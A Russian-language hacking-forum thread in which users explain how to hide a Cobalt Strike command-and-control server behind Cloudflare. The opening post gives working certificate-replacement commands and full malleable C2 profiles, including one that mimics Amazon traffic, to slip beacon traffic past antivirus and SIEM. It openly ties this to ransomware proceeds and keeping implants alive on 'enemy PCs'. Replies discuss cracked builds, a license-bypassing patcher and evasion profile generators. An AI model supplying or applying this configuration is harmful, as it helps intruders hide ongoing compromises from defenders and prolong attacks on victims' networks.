настройка cobalt-strike CDN или прячем свой С2 за CloudFlare

Ondrik8 · 11.09.2021

Решил начать тему именно здесь так как в РУ сегменте данный вопрос не обсуждался, так же поступает много вопросов касаемо всем известной утилиты указанной в заголовке.
Почему Ондрик8 палится этот инструмент, почему я не могу по сети с ним ходить как показано у Рафаэля на картинках, да? Отвэчай Ондрык !!!

ну в общем, как то так живем....

Значит, к делу
Начну пожалуй с главного, а именно с того что в основном у всех ваш командный сервер в простонародий Ц2, с момента установки этого самого Cobalt-овича начинает палится, гореть и искрится на весь интернет, мало того вы и ваш сервер можете попасть в сводки новостей твиттера, как минимум... а почему "вы" да банально с мамкиной картонки эти сервера и покупаются потом доказывай что не верблюд)

ну и для полноты картины, а то по думаете что пытаюсь ввести в заблуждение, реально есть энтузиасты которым не..уй-чего делать)

Ссылка скрыта от гостей

так вот происходит это все дело из за лени тупости и не понимания как использовать данный инструмент, обьясню первую причину.

в файле teamserver , должны знать такой или слышали хотя бы, что это не бинарь а просто текстовый файл и его можно банально открыть в блокноте и в конце увидеть удивительные строки..

сама главная картинка темы)

Видим знакомые 5 цифр 50050 это порт приема сервера для приема подключения панели управления, его МОЖНО сменить, чуть выше сказано по немецки правда, что при желании можно сменить и сам сертификат для подключения к этому самому серверу. Это типа что бы вас никто не смог послушать типо МИТМу замутить пока вы там толпой ботов управляете, проще говоря..

Так вот, уже как бы ясно что если хотя бы сменить порт, уже появляется надежда на будущее к примеру сможете потратить деньги с которые вы получили с выкупа "размотанной" вами "сетки" не суть, а если еще и сертификат новый сгенерить и скормить ему, то на пир можно и противоположный пол, пригласить на кутеж!

Этим и займемся

оригинальные слайды, без моих комментариев

что бы это исправить нужно удалить файл с названием : cobaltstrike.store в его папке и создать свой сертификат:

Код:

keytool -keystore ./cobaltstrike.store -storepass 1234567zx -keypass 1234567zx -genkey -keyalg RSA -alias microsoft -dname "CN=microsoft LTD, OU=LTD, O=microsoft, L=SOM, S=COM, C=US"

Если сменили пароль к сертификату как в моем случае то его также нужно сменить:

как видно в последней строке...

результат изменений можете проверить командой:

Код:

keytool -list -v -keystore cobaltstrike.store

Далее для того что бы растворится в в легальном, защищенным трафике от систем защит АВ СИЕМ и прочей нечести нужно (желательно) привязать к IP адресу какой нить домен 1-ого уровня, любой [ major.ru ] к примеру..

И главное действо которое нужно сделать это регнутся в сервисе протекции и защиты , не реклама: cloudflare (хотя не отказался бы от премии, клиент по прет чую..)
там же прописать свой домен и подать без платную заявку на сертификат HTTPS (точно по прет) выдает он его быстро!

получим в формате PEM сам сертификат и ключи к нему, сохраняем в папке кобальта и прописываем в него же:

Код:

openssl pkcs12 -export -in b.pem -inkey b.key -out major.ru.p12 -name major.ru -passout pass:1234567zx


keytool -importkeystore -deststorepass 1234567zx -destkeypass 1234567zx -destkeystore major.ru.store -srckeystore major.ru.p12 -srcstoretype PKCS12 -srcstorepass 1234567zx -alias major.ru

И на конец для полного эффекта создадим "Гибкий профиль" что это и для чего он нужен можете узнать здесь, я всего лишь что вам не мучатся дам его код

Код:

https-certificate {
    set keystore "major.ru.store";
    set password "1234567zx";
}
http-stager {
    set uri_x86 "/api/1";
    set uri_x64 "/api/2";
    client {
        header "Host" "major.ru";}
    server {
        output{
        print;
        }
    }
        }
http-get {
    set uri "/api/3";
    client {
        header "Host" "major.ru";
        metadata {
            base64;
            header "Cookie";
        }
        }
    server {
        output{
        print;
        }
    }
        }
http-post {
    set uri "/api/4";
    client {
        header "Host" "major.ru";
        id {
            uri-append;
        }
        output{
        print;
        }
    }
    server {
        output{
        print;
        }
    }
}

Боевой профиль Амазон

Код:

# Боевой профиль Амазон
# Amazon browsing traffic profile
# 11 12 строку меняем

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

https-certificate {
    set keystore "major.ru.store";
    set password "1234567zx";
}


http-get {

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";
        header "Host" "www.amazon.com";

        metadata {
            base64;
            prepend "session-token=";
            prepend "skin=noskin;";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Encoding" "gzip";

        output {
            print;
        }
    }
}

http-post {
   
    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";
        header "Content-Type" "text/xml";
        header "X-Requested-With" "XMLHttpRequest";
        header "Host" "www.amazon.com";

        parameter "sz" "160x600";
        parameter "oe" "oe=ISO-8859-1;";

        id {
            parameter "sn";
        }

        parameter "s" "3717";
        parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

        output {
            base64;
            print;
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "x-ua-compatible" "IE=edge";

        output {
            print;
        }
    }
}

Скармливаем его CS-ычу

Код:

./c2lint major.profile

и пробуем стартануть сам teamserver

Код:

teamservser 12.12.12.12 pass major.profile

по идее все должно быть хорошо и идеально но у меня ошибка... по этому позорных слайдов не будет(( но тема из разряда вопрос-ответ, и получить по идее должны:

Трояны общаются через CDN прокладку по защищенному соединению который уже на голову выше обычных с рядом преимуществ и т.д. то есть можно создавать Listener прямо указывая доменное имя

Ссылка скрыта от гостей

так же можно их создать целую пачку и скормить CиSычу и тогда ваши звери будут жить дольше в вражеских ПК но ...

отпишите как у Вас это все происходит? )

ПС я подозреваю что в ломанном CS такое не провернешь ..

Pernat1y · 11.09.2021

Ondrik8 сказал(а):
по идее все должно быть хорошо и идеально но у меня ошибка...

Траф не снифал, но, вроде, с HTTPS норм стартанул.

Ondrik8 · 11.09.2021

круто, вижу 4.3 ? ломаная или нет? если ломаная хде взять?))

вчера я вообще исходники его нашел) надо собрать... с ним по пробовать просто я перепробовал 3-4 сборки.. и нифига

в шарке все будет красиво, по идее сам посмотришь и это существенно снизит детект не самого бинаря а в сети размоется трафик кобушки...

Pernat1y · 11.09.2021

Ondrik8 сказал(а):
круто, вижу 4.3 ? ломаная или нет? если ломаная хде взять?))

Это оригинальный 4.3 + лайв-патчер hook.jar.

Ondrik8 сказал(а):
вчера я вообще исходники его нашел) надо собрать... с ним по пробовать просто я перепробовал 3-4 сборки.. и нифига

Повсплывало много "сборок" 4.4, но все они основаны на кривом декомпиле. Плюс потенциальные трояны в комплекте.
4.3 сейчас самая нормальная версия.

Ondrik8 · 12.09.2021

у меня трабл этот не исчезает...(( проверил на 2вух серверах и 1 простом пк) даже на винде.. но там другое...

после смены кобы.. и т.д.

и Рафаэлычу не напишешь, не пожалуешься))

Ondrik8 · 12.09.2021

пришлось 4.4 искать , все хорошо полет хороший)

тема годная комуникация по https превосходит обычные tcp и http

Pernat1y · 12.09.2021

Попробуй генерировать профили тем-же GitHub - threatexpress/random_c2_profile: Cobalt Strike random C2 Profile generator или GitHub - Tylous/SourcePoint: SourcePoint is a C2 profile generator for Cobalt Strike command and control servers designed to ensure evasion. и уже потом прикручивать туда свои изменения (типа SSL).

Ondrik8 сказал(а):
и Рафаэлычу не напишешь, не пожалуешься))

Я в их саппорт баги репортил когда-то. Сказали "спасибо"

Ondrik8 · 12.09.2021

Pernat1y сказал(а):
Попробуй генерировать профили тем-же GitHub - threatexpress/random_c2_profile: Cobalt Strike random C2 Profile generator или GitHub - Tylous/SourcePoint: SourcePoint is a C2 profile generator for Cobalt Strike command and control servers designed to ensure evasion. и уже потом прикручивать туда свои изменения (типа SSL).

Я в их саппорт баги репортил когда-то. Сказали "спасибо"

да профили самое , то )) там только этот код нужно добавлять для https соединений:

Код:

https-certificate {
    set keystore "major.ru.store";
    set password "1234567zx";
}

и не подарили оригинал?) моему сансею когда то сам Рафаель дал оригинал лично, еще версия 3.4 или 3.2 помню))

Ondrik8 · 12.09.2021

они там ваще ах..ли)) что в шелкоде пишут..

теперь понятно почему кобушка палится последнее время

Ссылка скрыта от гостей

я ваще удивляюсь как мне удалось обойти АВ)))

Pernat1y · 12.09.2021

Ondrik8 сказал(а):
да профили самое , то )) там только этот код нужно добавлять для https соединений:

Я заменил cobaltstrike.store на свой и оставил дефолтный пасс. ИМХО, так проще.

Ondrik8 сказал(а):
и не подарили оригинал?)

К сожалению нет

Ondrik8 сказал(а):
они там ваще ах..ли)) что в шелкоде пишут..

EICAR добавляется в бикон, если версия триал. Если грузить CS с тем-же hook.jar, то он считает себя лицензионным и строку не добавляет.

netuno · 10.12.2021

Ondrik8 сказал(а):
получим в формате PEM сам сертификат и ключи к нему, сохраняем в папке кобальта и прописываем в него же:

Парни, можна для "чайников" плз, чтото ход мысли потерял( "в него же" это куда ? заранее благодарствую за пояснеия. Всем Добра)

Pernat1y · 11.12.2021

netuno сказал(а):
Парни, можна для "чайников" плз, чтото ход мысли потерял( "в него же" это куда ? заранее благодарствую за пояснеия. Всем Добра)

Это консольные команды для конвертации и импорта сертификата.
Прописывать, соответственно, в консоль

netuno · 12.12.2021

Благодарствую

Pernat1y сказал(а):
Это консольные команды для конвертации и импорта сертификата.
Прописывать, соответственно, в консоль

Понял) Благодарствую

Все сервисы Codeby

Поиск

Поиск

настройка cobalt-strike CDN или прячем свой С2 за CloudFlare

Ondrik8

prodigy

Pernat1y

Well-known member

Ondrik8

prodigy

Pernat1y

Well-known member

Ondrik8

prodigy

Ondrik8

prodigy

Pernat1y

Well-known member

Ondrik8

prodigy

Ondrik8

prodigy

Pernat1y

Well-known member

netuno

New member

Pernat1y

Well-known member

netuno

New member